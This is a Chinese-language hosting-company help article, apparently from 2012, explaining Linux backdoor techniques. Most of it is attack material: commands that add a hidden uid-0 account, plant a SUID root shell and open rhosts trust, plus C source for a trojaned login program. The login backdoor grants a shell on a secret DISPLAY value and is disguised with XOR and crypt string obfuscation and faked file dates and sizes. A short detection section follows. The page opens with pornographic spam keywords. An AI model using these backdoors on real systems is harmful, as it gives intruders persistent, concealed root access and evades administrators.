激情五月天婷婷,亚洲愉拍一区二区三区,日韩视频一区,a√天堂中文官网8

<ul id="buwfs"><strike id="buwfs"><strong id="buwfs"></strong></strike></ul>
    <output id="buwfs"></output>
  • <dfn id="buwfs"><source id="buwfs"></source></dfn>
      <dfn id="buwfs"><td id="buwfs"></td></dfn>
      <div id="buwfs"><small id="buwfs"></small></div>
      <dfn id="buwfs"><source id="buwfs"></source></dfn>
      1. <dfn id="buwfs"><td id="buwfs"></td></dfn>
        始創(chuàng)于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業(yè)
        • 60秒人工響應(yīng)
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補償
        全部產(chǎn)品
        您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

        系統(tǒng)安全之淺談Linux后門技術(shù)及實踐

        發(fā)布時間:  2012/9/15 20:11:20

        后門簡介

        入侵者完全控制系統(tǒng)后,為方便下次進入而采用的一種技術(shù)。一般通過修改系統(tǒng)配置文件和安裝第三方后門工具來實現(xiàn)。 具有隱蔽性,能繞開系統(tǒng)日志,不易被系統(tǒng)管理員發(fā)現(xiàn)等特點。

        常用后門技術(shù)

         

        增加超級用戶賬號
        破解/嗅探用戶密碼
        放置SUID Shell
        rhosts + +
        利用系統(tǒng)服務(wù)程序
        TCP/UDP/ICMP Shell
        Crontab定時任務(wù)
        共享庫文件
        工具包rootkit
        可裝載內(nèi)核模塊(LKM)

        增加超級用戶

         

        # echo "e4gle:0:0::/:/bin/sh" >> /etc/passwd
        # echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

        如果系統(tǒng)不允許uid=0的用戶遠程登錄,還需要增加一個普通用戶賬號。

        破解/嗅探用戶密碼

        獲得shadow文件后,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監(jiān)聽telnet、ftp等端口,收集用戶密碼。

        放置SUID Shell

         

        # cp /bin/bash /dev/.rootshell
        # chmod u+s /dev/.rootshell

        普通用戶在本機運行/dev/.rootshell,即可獲得一個root權(quán)限的shell。

         

        rhosts + +
        
        # echo "+ +" > /.rhosts
        # rsh -l root victim.com csh -i

        遠程可以得到一個rootshell。

        利用系統(tǒng)服務(wù)程序

        修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I;用trojan程序替換in.telnetd、in.rexecd等inted的服務(wù)程序,重定向login程序。

        TCP/UDP/ICMP Shell

        BindShell,大部分是基于TCP/UDP協(xié)議的網(wǎng)絡(luò)服務(wù)程序,在高端口監(jiān)聽,很容易被發(fā)現(xiàn)。Ping Backdoor,通過ICMP包激活后門,形成一個Shell通道。TCP ACK數(shù)據(jù)包后門,能夠穿越防火墻。

        Crontab定時任務(wù)

        通過Crontab程序調(diào)度已安裝的后門程序定時運行,一般在深夜時段,是系統(tǒng)管理員不在線的時間。

        共享庫文件

        在共享庫中嵌入后門函數(shù)使用后門口令激活Shell,獲得權(quán)限能夠躲避系統(tǒng)管理員對二進制文件本身的校驗。

        工具包Rootkit

        包含一系列系統(tǒng)及后門工具:

         

        - 清除日志中的登錄記錄
        - 偽裝校驗和
        - 替換netstat、ps等網(wǎng)絡(luò)工具
        - 后門登錄程序易于安裝和使用

        可裝載內(nèi)核模塊(LKM)

        LKM:Loadable Kernel Modules 動態(tài)的加載,不需要重新編譯內(nèi)核。截獲系統(tǒng)調(diào)用,具有隱藏目錄、文件、進程、網(wǎng)絡(luò)連接等強大功能。自身隱蔽性好,發(fā)現(xiàn)難度較大。著名的LKM包有adore和knark。

        后門的檢測

        以自己的經(jīng)驗,結(jié)合特定的工具,手工作一些檢測。使用Tripwire或md5校驗來檢查系統(tǒng)。借助IDS系統(tǒng),監(jiān)聽到目標機器的可疑網(wǎng)絡(luò)連接。

        實例:Login后門

        入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進來的時候,通過環(huán)境變量或者終端類型

        傳遞了正確的后門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。

        最簡單的login后門ulogin.c源代碼如下:

        實例:Login后門

         

        #include 
        #define PASSWORD "passWORD"
        #define _PATH_LOGIN "/sbin/logins"
        
        main (argc, argv, envp)
        int argc;
        char **argv, **envp;
        {
         char *display = getenv("DISPLAY";
         if ( display == NULL ) {
        execve(_PATH_LOGIN, argv, envp);
        perror(_PATH_LOGIN);
        exit(1);
         }
         if (!strcmp(display,PASSWORD)) {
        system("/bin/csh";
        exit(1);
         }
         execve(_PATH_LOGIN, argv, envp);
         exit(1);
        }

        利用后門登錄

        首先Telnet服務(wù)是打開的,在自己機器上:

         

        bash$ export DISPLAY=passWORD
        bash$ telnet victim.com
        Trying xxx.xxx.xxx.xxx...
        Connected to victim.com (xxx.xxx.xxx.xxx).
        Escape character is '^]'.
        % _

        Strings命令

        Strings命令能夠打印出二進制文件中的可顯示字符串,用于剛才的ulogin程序:

         

        bash$ strings ulogin
        /lib/ld-linux.so.2
        ..............
        DISPLAY
        /sbin/logins
        passWORD
        /bin/csh

        加密后門密碼

        1、采用DES算法,即crypt( )函數(shù),編寫gen.c程序:

         

        #include 
        main(int argc, char *argv[])
        {
        if (argc != 3) {
        printf("usage: %s  \n", argv[0]);
        exit(1);
        }
        printf("%s\n", crypt(argv[1], argv[2]));
        }

        2、編譯為gen,執(zhí)行./gen hack ui,得到的shadow結(jié)果為UiVqMWvDrIQjA。

        3、修改后門源程序ulogin.c:

        -- 以密文形式的密碼代替ulogin.c中define的宏P(guān)ASSWORD值。

        -- 如果后門密碼正確,直接給出Shell:

         

        if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
        {
        system(SHELL);
        exit(1);
        }

        用strings命令只能看到加密過的密碼。

        采用異或(XOR)算法

        以十六進制方式表示字符串,以達到non- printable的效果。

        1、編碼程序encode.c如下:

         

        char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
        char *de(char *str,char *key)
        {
        int i=0,j=0,len;
        len=strlen(key);
        while(str != '\0') {
        str^=key[j];
        j++;
        if(j==len) j=0;
        i++;
        }
        return str;
        }
        void display(char *str)
        {
        int i;
        for(i=0;i

        2、編譯程序encode,依次執(zhí)行得到關(guān)鍵字符串與magic串異或后的結(jié)果,例如原始login的文件名/sbin/xlogin,經(jīng)過異或后為:

         

        \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

        3、在后門源代碼中這樣定義:

         

        Char
        login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

        然后插入異或函數(shù)char *de()結(jié)合同一magic串,就能判斷出正確的后門密碼。

        用strings命令看不到密碼、路徑等字符串了。

        最后的修飾

        使后門程序ulogin的strings輸出類似于正常login的strings輸出,做法為:在ulogin.c代碼中增加一個字符串數(shù)組char strings[] ="";,在引號中填入正常login程序的strings輸出結(jié)果。以假亂真,增加迷惑性。

        調(diào)整后門程序的文件日期、大小等屬性:

        1、日期

         

        # ls -l /sbin/xlogin
        -r-sr-xr-x root root 19300 Feb 11 1998
        /sbin/xlogin
        # touch -t 199802110000 ulogin
        # _

        2、調(diào)整大小

         

        # ls -l ulogin /sbin/xlogin
        -r-sr-xr-x root root 7542 Feb 11 1998 ulogin
        -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
        # bc
        19300-7542
        11758
        # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
        1+0 records in
        1+0 records out
        11758 bytes transferred in 0.000379 secs (31016746
        bytes/sec)
        # cat /tmp/t >> ulogin

        Login后門的檢測

        使用命令md5sum對現(xiàn)有/bin/login文件作校驗,與以前的值作比較。使用Red Hat Linux的RPM校驗:

         

        # rpm -V util-linux

        在入侵者已經(jīng)利用后門登錄的情況下,who是看不到用戶的,查看系統(tǒng)進程,查找login -h xxx.xxx.xxx.xxx的字樣。
        如果有需要服務(wù)器的租用與托管的敬請聯(lián)系QQ:1501281758(億恩星辰)   聯(lián)系電話:0371—63322220


        本文出自:億恩科技【mszdt.com】

        服務(wù)器租用/服務(wù)器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

      2. 您可能在找
      3. 億恩北京公司:
      4. 經(jīng)營性ICP/ISP證:京B2-20150015
      5. 億恩鄭州公司:
      6. 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
      7. 億恩南昌公司:
      8. 經(jīng)營性ICP/ISP證:贛B2-20080012
      9. 服務(wù)器/云主機 24小時售后服務(wù)電話:0371-60135900
      10. 虛擬主機/智能建站 24小時售后服務(wù)電話:0371-60135900
      11. 專注服務(wù)器托管17年
        掃掃關(guān)注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號
          0
         
         
         
         

        0371-60135900
        7*24小時客服服務(wù)熱線